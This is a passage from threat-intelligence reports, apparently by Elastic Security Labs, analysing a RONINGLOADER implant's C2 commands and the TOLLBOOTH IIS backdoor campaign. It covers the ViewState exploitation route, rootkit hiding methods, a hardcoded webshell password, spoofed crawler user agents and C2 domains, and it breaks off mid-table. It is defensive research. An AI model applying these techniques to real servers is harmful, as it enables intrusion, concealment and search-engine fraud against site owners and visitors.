    uint8_t telegram_installed;      // 1 if Telegram installed

    // +0x306
    uint8_t telegram_running;        // 1 if Telegram.exe running

    // +0x307
    // (padding to 0x308 bytes)
};

C2 commands

Request messages sent from the C2 server to the implant follow the structure:

struct C2_to_implant_msg {
    uint32_t total_message_len;
    uint32_t RC4_key;
    char encrypted_command_id;
    uint8_t encrypted_command_args;
};

The implant decrypts C2 messages through the following formula:

RC4_decrypt(ASCII(decimal(RC4_key)), encrypted_command_id || command)

Below is a list of available commands that, for the most part, remain the same as 2 years ago:

| Command ID | Description | | :---- | :---- | | 0 | ExitWindowsEx via a supplied EXIT_WINDOWS_FLAGS | | 1 | Terminate implant gracefully | | 2 | Set registry key Enable to False to terminate & disable implant persistently | | 3 | Set registry key Remark for custom victim renaming (default value: hostname) | | 4 | Set registry key ZU for MetaMask / crypto-related tagging | | 5 | Clear Windows Event logs (Application, Security, System) | | 6 | Set additional custom tags when client beacons | | 7 | Download and execute file via supplied URL | | 9 | ShellExecute (visible window) | | 10 | ShellExecute (hidden window) | | 112 | Get clipboard data | | 113 | Set clipboard data | | 125 | ShellExecute cmd.exe with command parameters (hidden window) | | 126 | Execute payload by dropping to disk or reflectively load and execute PluginMe export | | 128 | First option - open a new session with a supplied C2 domain, port, and beacon interval. Second option - set registry key CopyC to update C2 domain and port permanently. Stored encrypted via Base64Encode(XOR(C2_domain_and_port, 0x5)). | | 241 | Check if Telegram is installed and/or running | | 243 | Configure Clipboard Hijacker | | 101, 127, 236, [...] | Custom shellcode injection into svchost.exe using WTS session token impersonation, falling back to CREATE_SUSPENDED process injection via CreateRemoteThread |

Analyst note: There are multiple command IDs that point to the same command. We used an ellipsis to identify when this was observed.

System Logger

In addition to the C2 commands, the implant implements a keystroke, clipboard, and active-window logger. Captured data is written to %ProgramData%\microsoft.dotnet.common.log and can be enabled or disabled via a registry key at HKEY_CURRENT_USER\offlinekey\open (1 to enable, 0 to disable). The log file implements automatic rotation, deleting itself when it exceeds 50 MB to avoid detection through excessive disk usage.

The code snippet below demonstrates the initialization routine that implements log rotation and configures a DirectInput8 interface to acquire the keyboard device for event capture, followed by the keyboard event retrieval logic.

The malware then enters a monitoring loop to capture three categories of information.

First, it monitors the clipboard using OpenClipboard and GetClipboardData, logging any changes to text content with the prefix [剪切板:].
Second, it tracks window focus changes via GetForegroundWindow, logging the active window title and timestamp with the prefixes [标题:] and [时间:], respectively, whenever the user switches applications.
Third, it retrieves buffered keyboard events from the DirectInput8 device (up to 60 events per poll) and translates them into readable text through a character mapping table, prepending the results with a prefix [内容:].

Clipboard Hijacker

The malware also implements a clipboard hijacker that is remotely configured through C2 command ID 243. It monitors clipboard changes and performs search-and-replace operations on captured text, substituting attacker-defined strings with replacement values. Configuration parameters are stored in the registry under HKEY_CURRENT_USER\offlinekey with keys clipboard (enable/disable feature), charac (search string), characLen (search length), and newcharac (replacement string).

It registers a window class named ClipboardListener_Class_Toggle and creates a hidden window titled ClipboardMonitor to receive clipboard change notifications. The window procedure handles WM_CLIPBOARDUPDATE (0x31D) messages by verifying clipboard sequence numbers with GetClipboardSequenceNumber to detect genuine changes, then invoking the core manipulation routine, which swaps the clipboard content via EmptyClipboard and SetClipboardData.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigations

Detection

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify RONINGLOADER and the final implant:

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | :---- | :---- | :---- | :---- | | da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b | SHA-256 | klklznuah.msi | Initial MSI installer | | 82794015e2b40cc6e02d3c1d50241465c0cf2c2e4f0a7a2a8f880edaee203724 | SHA-256 | Snieoatwtregoable.exe | Malicious installer unpacked from initial installer | | c65170be2bf4f0bd71b9044592c063eaa82f3d43fcbd8a81e30a959bcaad8ae5 | SHA-256 | Snieoatwtregoable.dll | Stage 1 - loader for stage 2 | | 2515b546125d20013237aeadec5873e6438ada611347035358059a77a32c54f5 | SHA-256 | ollama.sys | Stage 2 - driver for process termination | | 1613a913d0384cbb958e9a8d6b00fffaf77c27d348ebc7886d6c563a6f22f2b7 | SHA-256 | tp.png | Stage 2 - encrypted core payload | | 395f835731d25803a791db984062dd5cfdcade6f95cc5d0f68d359af32f6258d | SHA-256 | 1.bat | Stage 2 - UAC bypass script | | 1c1528b546aa29be6614707cbe408cb4b46e8ed05bf3fe6b388b9f22a4ee37e2 | SHA-256 | fhq.bat | Stage 2 - script to block networking for AV processes | | 4d5beb8efd4ade583c8ff730609f142550e8ed14c251bae1097c35a756ed39e6 | SHA-256 | 1.dll | Stage 2 - AV processes termination | | 96f401b80d3319f8285fa2bb7f0d66ca9055d349c044b78c27e339bcfb07cdf0 | SHA-256 | {31351756-3F24-4963-8380-4E7602335AAE}.cip | Stage 2 - WDAC policy | | 33b494eaaa6d7ed75eec74f8c8c866b6c42f59ca72b8517b3d4752c3313e617c | SHA-256 | goldendays.dll | Stage 3 - entry point | | fc63f5dfc93f2358f4cba18cbdf99578fff5dac4cdd2de193a21f6041a0e01bc | SHA-256 | trustinstaller.bin | Stage 3 - loader for Enpug.bin | | fd4dd9904549c6655465331921a28330ad2b9ff1c99eb993edf2252001f1d107 | SHA-256 | Enpug.bin | Stage 3 - loader for final payload | | 3dd470e85fe77cd847ca59d1d08ec8ccebe9bd73fd2cf074c29d87ca2fd24e33 | SHA-256 | 6uf9i.exe | Stage 4 - final payload | | qaqkongtiao[.]com | domain-name | | Stage 4 - final payload C2 |

References

The following were referenced throughout the above research:

https://nsis.sourceforge.io/Main_Page
https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service
https://github.com/Jemmy1228/HookSigntool
https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/
https://hijacklibs.net/entries/microsoft/built-in/wow64log.html
https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function
https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html
https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43
https://news.sophos.com/en-us/2023/05/03/doubled-dll-sideloading-dragon-breath/
https://ti.qianxin.com/blog/articles/operation-dragon-breath-%28apt-q-27%29-dimensionality-reduction-blow-to-the-gambling-industry/
https://github.com/sin5678/gh0st

TOLLBOOTH: What's yours, IIS mine

Wed, 22 Oct 2025 00:00:00 GMT

Introduction

In September 2025, Texas A&M University System (TAMUS) Cybersecurity, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell framework, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.

A similar chain of events was first reported by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also detailed in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with Validin, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.

Key takeaways

Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys
Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware
Threat actors adapted the open source “Hidden” rootkit project to hide their presence
The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities
This campaign included large-scale exploitation across geographies and industry verticals

Campaign Overview

Attack vector

Last month, Elastic Security Labs and Texas A&M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, ValidationKey and DecryptionKey, which are used to secure ASP.NET features such as ViewState and authentication cookies.

ViewState is a mechanism used by ASP.NET web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, ViewState allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (__VIEWSTATE) on the page that is serialized and encoded in Base64. This ViewState field is susceptible to deserialization attacks, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.

Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload generator. The __VIEWSTATE field contains a URL-encoded and Base64-encoded payload that will perform a whoami and write a file to a directory. With a successful exploitation request, the server will respond with an HTTP/1.1 500 Internal Server Error.

Post-compromise activity

Upon initial access through ViewState injection, REF3927 was observed deploying webshells, including a Godzilla shell framework, to facilitate persistent access. They then enumerated privileges and attempted (unsuccessfully) to create their own user accounts. When account creation attempts failed, the actor then uploaded and executed the GotoHTTP Remote Monitoring and Management (RMM) tool. The threat actor created an Administrator account and attempted to dump credentials using Mimikatz, but this was prevented by Elastic Defend.

With attempts to further expand the scope of the intrusion blocked, the threat actor deployed their traffic hijacking IIS Module, TOLLBOOTH, as a means to monetize their access. The actor also attempted to deploy a modified version of the open-source Hidden rootkit to obfuscate their malware. In the observed intrusion, Elastic Defend prevented both TOLLBOOTH and the rootkit from being executed.

Godzilla EKP analysis

One of the main tools used by this group is a Godzilla-forked framework called Z-Godzilla_ekp written by ekkoo-z. This tool piggybacks off the previous Godzilla project by adding new features such as an AMSI bypass plugin and masquerading its network traffic to appear more legitimate. This toolkit allows operators to generate ASP.NET, Java, C#, and PHP payloads, connect to targets, and provides different encryption options to hide network traffic. This framework uses a plugin system driven by a GUI with many features, including:

Discovery/enumeration capabilities
Privilege escalation techniques
Command execution/file execution
Shellcode loader, meterpreter, in-memory PE execution
File management, zipping utility
Cred stealing plugin (lemon) - Retrieves FileZilla, Navicat, WinSCP, and Xmanager credentials
Browser password scraping
Port scanning, HTTP proxy configuration, note-taking

Below is a network traffic example showing the operator traffic to the webshell (error.aspx) using Z-Godzilla_ekp. The webshell will take the Base64-encoded AES-encrypted data from the HTTP POST request, then execute the .NET assembly in-memory. These requests are disguised by embedding the encrypted data in HTTP POST parameters in order to blend in as normal network traffic.

Rootkit analysis

The attacker hid their presence on the infected machine by deploying a kernel rootkit. This rootkit works in conjunction with a userland application named HijackDriverManager, whose interface strings are written in Chinese, to interact with the driver. For this analysis, we examined both the malicious rootkit and the code from the original “Hidden” open-source project from which it was derived. Internally, we are calling the rootkit HIDDENDRIVER and the userland application HIDDENCLI.

This malicious software is a modified version of the open source rootkit Hidden, which has been available on GitHub for years. The malware author made minor modifications before compilation. For example, the rootkit uses Direct Kernel Object Manipulation (DKOM) to hide its presence and maintain persistence on the compromised system. The compiled driver still has “hidden” within the compilation path string, indicating that they used the “Hidden” rootkit project.

Upon initial loading into the kernel, the driver prioritizes a series of critical initialization steps. It first invokes seven initialization functions:

InitializeConfigs
InitializeKernelAnalyzer
InitializePsMonitor
InitializeFSMiniFilter
InitializeRegistryFilter
InitializeDevice
InitializeStealthMode

To prepare its internal components before populating its driver object and associated fields, such as major functions.

The following sections will elaborate on each of these seven critical initialization functions, detailing their purpose.

InitializeConfigs

The rootkit's initial action is to run the InitializeConfigs function. This function's sole purpose is to read the rootkit's configuration from the driver's service key in the Windows registry, which is populated by the userland application. These values are extracted and put in global configuration variables that will be later used by the rootkit.

The following table summarizes the configuration parameters that the rootkit extracts from the registry:

| Registry name | Description | Type | |---------------------|----------------------------------------------------------------|--------| | Kbj_WinkbjFsDirs | A list of directory paths to be hidden | string | | Kbj_WinkbjFsFiles | A list of file paths to be hidden | string | | Kbj_WinkbjRegKeys | A list of registry keys to be hidden | string | | Kbj_WinkbjRegValues | A list of registry values to be hidden | string | | Kbj_FangxingImages | A list of process images to whitelist | string | | Kbj_BaohuImages | A list of process images to protect | string | | Kbj_WinkbjImages | A list of process images to be hidden | string | | Kbj_Zhuangtai | A global kill switch that is set from userland | bool | | Kbj_YinshenMode | This flag signals that the rootkit must conceal its artifacts. | bool |

InitializeKernelAnalyzer

Its purpose is to dynamically scan the kernel memory to find the addresses of the PspCidTable and ActiveProcessLinks that are needed.

The PspCidTable is the kernel's structure that serves as a table for process and thread IDs, while ActiveProcessLinks under the _EPROCESS structure serves as a doubly-linked list connecting all currently running processes. It allows the system to track and traverse all active processes. By removing entries from this list, it is possible to hide processes from enumeration tools like Process Explorer.

LookForPspCidTable

It searches for the PspCidTable address by disassembling the function PsLookupProcessByProcessIdwith the library Zydis and parsing it.

LookForActiveProcessLinks

This function determines the offset of the ActiveProcessLinks field within the _EPROCESS structure. It uses hardcoded offset values specific to different Windows versions. It has a fast scanning process that relies on these hardcoded values to find the ActiveProcessLinks field, which will be validated by another function. In case it fails to find it with the hardcoded values, it takes a brute-force approach by starting from a hardcoded relative offset to the maximum possible offset.

InitializePsMonitor

InitializePsMonitor sets up the rootkit's process monitoring and manipulation engine. This is the heart of its ability to hide processes.

It first initializes three AVL tree structures to hold information (rules) for excluding, protecting, and hiding processes. It uses RtlInitializeGenericTableAvl for high-speed lookups and populates them with data from the configuration. It then sets up different kernel callbacks to monitor the system using the set of rules.

Registering object manager callback with (ObRegisterCallbacks)

This hook registers the ProcessPreCallback and ThreadPreCallback functions. The kernel's Object Manager executes this code before it completes any request to create or duplicate a handle to a process or thread.

When a process tries to get a handle on another process, the callback function ProcessPreCallback is called. It will first check if the destination process is a protected process (in the list). If it is the case, instead of not granting access, it will simply downgrade its rights over the protected process with the access set to SYNCHRONIZE | PROCESS_QUERY_LIMITED_INFORMATION.

This will ensure that processes cannot interact with/inspect, or kill the protected process.

The same mechanism applies to threads.

Process Creation Callback(PsSetCreateProcessNotifyRoutineEx)

The rootkit registers a callback with the PsSetCreateProcessNotifyRoutineEx API on process creation. When a new process is launched, this callback runs a function CheckProcessFlags that checks the process’s image against the configured list of image paths. It then creates an entry for this new process in its internal tracking table, setting its excluded, protected, and hidden flags accordingly.

Behavior based on flags:

Excluded
- The rootkit will ignore the process and just let it run as expected.
Protected
- The rootkit will not allow any other process to get a privileged handle on it, similar to what happens in ProcessPreCallback.
Hidden
- The rootkit will hide the process by Direct Kernel Object Manipulation (DKOM). Directly manipulating a process's kernel structures at the very instant of its creation can be unstable. In the process creation callback, if a process needs to be hidden, it is unlinked from the ActiveProcessLinks list. However, it sets a postponeHiding flag that will be explained below.

The Image Load callback (PsSetLoadImageNotifyRoutine)

This registers the LoadProcessImageNotifyCallback using PsSetLoadImageNotifyRoutine, which the kernel calls whenever an executable image (a .exe or .dll) is loaded into a process's memory.

When the image is loaded, the callback checks the postponeHiding flag; if set, it calls UnlinkProcessFromCidTable to remove it from the master process ID table (PspCidTable).

InitializeFSMiniFilter

The function defines its capabilities in the FilterRegistration structure(FLT_REGISTRATION). This structure tells the operating system which functions to call for which types of file system operations. It registers callbacks for the following requests:

IRP_MJ_CREATE: Intercepts any attempt to open or create a file or directory.
IRP_MJ_DIRECTORY_CONTROL: Intercepts any attempt to list the contents of a directory.

FltCreatePreOperation(IRP_MJ_CREATE)

This is a pre-operation callback, when a process tries to create/open a file, this function is triggered. It will check the path against its list of files to be hidden. If a match is found, it will change the operation result of the IRP request to STATUS_NO_SUCH_FILE, indicating to the requesting process that the file does not exist, except if the process is included in the excluded list.

FltDirCtrlPostOperation(IRP_MJ_DIRECTORY_CONTROL)

This is a post-operation callback; the implemented hook essentially intercepts the directory listening generated by the system and modifies it by removing any files listed as hidden.

InitializeRegistryFilter

After concealing its processes and files, the rootkit's next step is to erase entries from the Windows Registry. The InitializeRegistryFilter function accomplishes this by installing a registry filtering callback to intercept and modify registry operations.

It registers a callback using the CmRegisterCallbackEx API, using the same principle as with files. If the registry key or value is in the hidden registry list, the callback function will return the status STATUS_NOT_FOUND.

InitializeDevice

The InitializeDevice function does the driver initialization needed, and it sets up an IOCTL communication so that the userland application can communicate with it directly

The following is a table describing each IOCTL command handled by the driver.

| IOCTL command | Description | |-------------------------------------|------------------------------------------------------------------------------------------------------------------------| | HID_IOCTL_SET_DRIVER_STATE | Soft enable/disable the rootkit functionalities by setting a global state flag that acts as a master on/off switch. | | HID_IOCTL_GET_DRIVER_STATE | Retrieve the current state of the rootkit (enabled/disabled). | | HID_IOCTL_ADD_HIDDEN_OBJECT | Adds a new rule to hide a specific file, directory, registry key, or value. | | HID_IOCTL_REMOVE_HIDDEN_OBJECT | Removes a single hiding rule by its unique ID. | | HID_IOCTL_REMOVE_ALL_HIDDEN_OBJECTS | Remove all hidden objects for a specific object type(registry keys/values, files, directories). | | HID_IOCTL_ADD_OBJECT | Adds a new rule to automatically hide, protect, or exclude a process based on its image path. | | HID_IOCTL_GET_OBJECT_STATE | Queries the current state (hidden, protected, or excluded) of a specific running process by its PID. | | HID_IOCTL_SET_OBJECT_STATE | This command modifies the state (hidden, protected, or excluded) of a specific running process, identified by its PID. | | HID_IOCTL_REMOVE_OBJECT | Removes a single process rule (hide, protect, or exclude) by its unique ID. | | HID_IOCTL_REMOVE_ALL_OBJECTS | This command clears all process states and image rules of a specific type. |

InitializeStealthMode

After successfully setting up its configuration, process callbacks, and file system filters, the rootkit executes its final initialization routine: InitializeStealthMode. If the configuration flag Kbj_YinshenMode is enabled, it will hide every artifact associated with the rootkit, including registry keys, the .sys file, and other related components, using the same techniques described above.

Code Variations

While the malware is heavily based on the HIDDENDRIVER source code, our analysis identified several minor alterations. The following section breaks down the notable code differences we observed.

The original code in the IsProcessExcluded function consistently excludes the system process (PID 4) from the rootkit's operations. However, the malicious rootkit has an exclusion list for additional process names, as illustrated in the provided screenshot.

The original code's callback for filtering system information (including files, directories, and registries) used the IsDriverEnabled function to verify if the driver functionalities were enabled. However, the observed rootkit introduced an additional, automatic whitelist check for processes with the image name hijack, which corresponds to the userland application.

RMM usage

The GotoHTTP tool is a legitimate Remote Monitoring and Management (RMM) application, deployed by the threat actor to maintain easier access to the compromised IIS server. Its “Browser-to-Client” architecture allows the attacker to control the server from any standard web browser over common web ports (80/443) by routing all traffic through GotoHTTP’s own platform, preventing direct network connection to the attacker’s own infrastructure.

!gotohttp[.]com landing page

RMMs continue to increase in popularity for use at multiple points of the cyber kill chain and by various threat actors. Most anti-malware vendors do not consider them malicious in isolation and therefore do not block them outright. RMM C2 also only flows to legitimate RMM provider websites, and therefore has the same dynamics for network-based protections and monitoring.

Blocking the mass of currently active RMMs and allowing only the enterprise's preferred RMM would be the optimal protection mechanism. However, this paradigm is only available to enterprises with the right technical knowledge, defensive tooling, mature organizational policies, and coordination across departments.

IIS module analysis

The threat actor was observed deploying both 32-bit and 64-bit versions of TOLLBOOTH, a malicious IIS module. TOLLBOOTH has been previously discussed by Ahnlab and the security researcher, @Azaka. Some of the malware’s key capabilities include SEO cloaking, a management channel, and a publicly accessible webshell. We discovered both native and .NET managed versions being deployed in the wild.

Malware Config Structure

TOLLBOOTH retrieves its configuration dynamically from hxxps://c[.]cseo99[.]com/config/.json, and the creation of each victim’s JSON config file is handled by the threat actor’s infrastructure. However, hxxps://c[.]cseo99[.]com/config/127.0.0.1.json responded, showing a lack of anti-analysis checks - allowing us to retrieve a copy of a config file for analysis. It can be viewed in this GitHub Gist, and we will reference how some of the fields are used as appropriate.

For native modules, the config and other temporary cache files are Gzip-compressed and stored locally at a hardcoded path C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\. For the managed module, these are AES-encrypted with key YourSecretKey123 and IV 0123456789ABCDEF, Gzip-compressed, and stored at C:\\Windows\\Temp\\AcpLogs\\.

Webshell

TOLLBOOTH exposes a webshell at the /mywebdll path, requiring a password of hack123456! for file uploads and execution of commands. Form submission sends a POST request to the /scjg endpoint.

The password is hardcoded in the binary, and this webshell feature is present in both v1.6.0 and v1.6.1 of the native version of TOLLBOOTH.

The file upload functionality contains a bug that stems from its sequential, order-dependent parsing of multipart/form-data fields. The standard HTML form is structured such that the file input field appears before the directory input fields. The server processing the request parts attempts to handle the file data before the destination directory, creating a dependency conflict that causes standard uploads to fail. By manually reordering the multipart/form-data parts, a successful file upload can still be triggered.

Management Channel

TOLLBOOTH exposes a few additional endpoints for C2 operators’ management/debug purposes. They are only accessible by setting the User Agent to one of the following (though it is configurable):

Hijackbot
gooqlebot
Googlebot/2.;
Googlébot
Googlêbot
Googlebót;
Googlebôt;
Googlebõt;
Googlèbot;
Googlëbot;
Binqbot
bingbot/2.;
Bíngbot
Bìngbot
Bîngbot
Bïngbot
Bingbót;
Bingbôt;
Bingbõt;

The /health endpoint provides a quick way to assess the module’s health, returning the file name to access the config stored at c[.]cseo99[.]com, disk space information, the module's installation path, and the version of TOLLBOOTH.

The /debug endpoint provides more details, including a summary of the configuration, cache directory, HTTP request information, etc.

The parsed configuration is accessible at /conf.

The /clean endpoint allows the operator to clear the current configuration by deleting the config files stored locally (clean?type=conf) in order to update them on the victim server, clear any other temporary caches the malware uses (clean?type=conf), or clear both - everything in the C:\\Windows\\Temp\\_FAB234CD3-09434-8898D-BFFC-4E23123DF2C\\ path (clean?type=all).

SEO Cloaking

The main goal of TOLLBOOTH is SEO cloaking, a process that involves presenting keyword-optimized content to search engine crawlers, while concealing it from casual user browsing, to achieve higher search rankings for the page. Once a human visitor clicks the link from the boosted search results, the malware redirects them to a malicious or fraudulent page. This tactic is an effective way to increase traffic to malicious pages compared to alternatives like direct phishing, because users trust search engine results they request more than unsolicited emails.

TOLLBOOTH differentiates between bots and visitors by checking the User Agent and the Referer headers for values defined in the config.

Both the native and the managed modules are implemented almost identically. The only difference is that native modules v1.6.0 and v1.6.1 check both the User Agent and Referer against the seoGroupRefererMatchRules list, and the .NET module v1.6.1 checks the User Agent against the seoGroupUaMatchRules list and Referer against the seoGroupRefererMatchRules list.

Based on the current configuration, the values for seoGroupUaMatchRules and seoGroupRefererMatchRules are googlebot and google, respectively. A GoogleBot crawler would have a User Agent match and not a Referer match, whereas a human visitor would have a Referer match but not a User Agent match. Looking at the fallback list containing both bing and yahoo suggests that those search engines were targeted in the past as well.

The code snippet below is responsible for building a page filled with keyword-stuffed links that search engine crawlers will see.

The module constructs a link farm in two phases. First, to build internal link density, it retrieves a list of random keywords from resource URIs defined in the affLinkMainWordSeoResArr configuration field. For each keyword, it generates a "local link" pointing to another SEO page on the same compromised website. Next, it builds the external network by retrieving "affiliate link resources" from the affLinkSeoResArr field. These resources are a list of URIs pointing to SEO pages on other external domains that are also infected with TOLLBOOTH. The URIs look like hxxps://f[.]fseo99[.]com//<.txt/.html> in the configuration. The module then creates hyperlinks from the current site to these other victims. This technique, known as link farming, is designed to artificially inflate search engine rankings across the entire network of compromised sites.

Below is an example of what a crawler bot would see when visiting the landing page of a web server infected with TOLLBOOTH.

URL path prefixes to the SEO pages contain words or phrases from the seoGroupUrlMatchRules config field. This is also referenced in the site redirection logic targeting visitors. These are currently:

stock
invest
summary
datamining
market-outlook
bullish-on
news-overview
news-volatility
video/
app/
blank/

Templates and content for SEO pages are also externally retrieved from URIs that look like hxxps://f[.]fseo99[.]com//<.txt/.html> in the config. Here is an example of what one of the SEO pages looks like:

For the user redirection logic, the module first gathers a fingerprint of the visitor, including their IP address, user agent, referrer, and the SEO page’s target keyword. It then sends this information via a POST request to hxxps://api[.]aseo99[.]com/client/landpage. If the request is successful, the server responds with a JSON object containing a specific landpageUrl, which becomes the destination for the redirect.

If the communication fails for any reason, TOLLBOOTH falls back to constructing a new URL pointing to the same C2 endpoint but instead encodes the visitor’s information directly into the URL as GET parameters. Finally, the chosen URL - either from the successful C2 response or the fallback - is embedded into a JavaScript snippet (window.location.href) and sent to the victim’s browser, forcing an immediate redirection.

Page Hijacker

For the native modules, if the URI path contains xlb, TOLLBOOTH responds with a custom loader page containing a script tag. This script's src attribute points to a dynamically generated URL, mlxya[.]oss-accelerate[.]aliyuncs[.]com/<12_random_alphanumeric_characters>, which is used to retrieve an obfuscated next-stage JavaScript payload.

The deobfuscated payload appears to be a page-replacement tool that executes based on specific trigger keywords (e.g., xlbh, mxlb) found in the URL. Once triggered, it contacts one of the attacker-controlled endpoints at asf-sikkeiyjga[.]cn-shenzhen[.]fcapp[.]run/index/index?href= or ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run/index/index?key=, appending the current page’s URL as a Base64-encoded parameter to identify the compromised site. The script then uses document.write() to completely wipe the current page’s DOM and replace it with the server’s response. While the final payload could not be retrieved at the time of writing, this technique is designed to inject attacker-controlled content, most commonly a malicious HTML page or a JS redirect to another malicious site.

Campaign targeting

While conducting the analysis of TOLLBOOTH and its associated webshell, we identified multiple mechanisms to identify additional victims through active and semi-passive collection methods.

We then partnered with @SreekarMad at Validin to leverage his expertise and their scanning infrastructure in an effort to develop a more comprehensive list of victims.

At the time of publication, 571 IIS server victims were identified with active TOLLBOOTH infections.

These servers are globally distributed (with one major exception, described below), and do not fit into any neat industry vertical buckets. For these reasons, along with the sheer scale of the operation, we are led to believe that victim selection is untargeted and leverages automated scanning to identify IIS servers reusing publicly listed machine keys.

The collaboration with Validin and Texas A&M System Cybersecurity yielded a robust amount of metadata about the additional TOLLBOOTH-infected victims.

Automated exploitation may also be employed, but TAMUS Cybersecurity noted that the post-exploitation activity appeared to be interactive.

Validin discovered other potentially infected domains linked through the SEO farming link configs, but when checked for the webshell interface, found it inaccessible on some. After conducting a deeper manual investigation into these servers, we determined that they had been, in fact, TOLLBOOTH-infected, but either the owners remediated the issue or the attackers backed themselves out.

Subsequent scanning revealed that many of the same servers were reinfected. We have taken this to indicate that remediation was incomplete. One plausible explanation is that merely removing the threat does not close the vulnerability left open by the machine key reuse. So, victims who omit this final step are likely to be reinfected through the same mechanism. See the “Remediating REF3927” section below for additional details.

Geography

The geographic distribution of victims notably excludes any servers within China’s borders. One server was identified in Hong Kong, but it was hosting a .co.uk domain. This probable geofencing aligns with behavioral patterns from other criminal threats, where they implement mechanisms to ensure they do not target systems in their home countries. This mitigates their risk of prosecution as the governments of these countries tend to turn a blind eye toward, if not outright endorse, criminal activity targeting foreigners.

Diamond model

Elastic Security Labs utilizes the Diamond Model to describe high-level relationships between adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions and leverages Activity Threading (section 8) to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a single diamond.

Remediating REF3927

Remediation of the infection itself can be completed through industry best practices, such as reverting to a clean state and addressing malware and persistence mechanisms. However, in the face of potential automated scanning and exploitation, the vulnerability of the reused machine key remains for whichever bad actor wants to take over the server.

Therefore, remediation must include rotation of machine keys to a new, properly generated key.

Conclusion

The REF3927 campaign highlights how a simple configuration error, such as using a publicly exposed machine key, can lead to significant compromise. In this event, Texas A&M University System Cybersecurity and the affected customer took swift action to remediate the server, but based on our research, there continue to be other victims targeted using the same techniques.

The threat actor’s integration of open-source tooling, RMM software, and a malicious driver is an effective combination of techniques that have proven successful in their operations. Administrators of publicly exposed IIS environments should audit their machine key configurations, ensure robust security logging, and leverage endpoint detection solutions such as Elastic Defend during potential incidents.

Detection logic

Detection rules

Web Shell Detection: Script Process Child of Common Web Processes

Prevention rules

YARA signatures

Elastic Security has created the following YARA rules to prevent the malware observed in REF3927:

REF3927 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | |---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|-------------|---------------------|---------------------------------------------------------------------| | 913431f1d36ee843886bb052bfc89c0e5db903c673b5e6894c49aabc19f1e2fc | SHA-256 | WingtbCLI.exe | HIDDENCLI | | f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1 | SHA-256 | Winkbj.sys | HIDDENDRIVER | | c1ca053e3c346513bac332b5740848ed9c496895201abc734f2de131ec1b9fb2 | SHA-256 | caches.dll | TOLLBOOTH | | c348996e27fc14e3dce8a2a476d22e52c6b97bf24dd9ed165890caf88154edd2 | SHA-256 | scripts.dll | TOLLBOOTH | | 82b7f077021df9dc2cf1db802ed48e0dec8f6fa39a34e3f2ade2f0b63a1b5788 | SHA-256 | scripts.dll | TOLLBOOTH | | bd2de6ca6c561cec1c1c525e7853f6f73bf6f2406198cd104ecb2ad00859f7d3 | SHA-256 | caches.dll | TOLLBOOTH | | 915441b7d7ddb7d885ecfe75b11eed512079b49875fc288cd65b023ce1e05964 | SHA-256 | CustomIISModule.dll | TOLLBOOTH | | c[.]cseo99[.]com | domain-name | | TOLLBOOTH config server | | f[.]fseo99[.]com | domain-name | | TOLLBOOTH SEO farming config server | | api[.]aseo99[.]com | domain-name | | TOLLBOOTH crawler reporting & page redirector API | | mlxya[.]oss-accelerate.aliyuncs[.]com | domain-name | | TOLLBOOTH page hijacker payload hosting server | | asf-sikkeiyjga[.]cn-shenzhen[.]fcapp.run | domain-name | | TOLLBOOTH page hijacker content-fetching server | | ask-bdtj-selohjszlw[.]cn-shenzhen[.]fcapp[.]run | domain-name | | TOLLBOOTH page hijacker content-fetching server | | bae5a7722814948fbba197e9b0f8ec5a6fe8328c7078c3adcca0022a533a84fe | 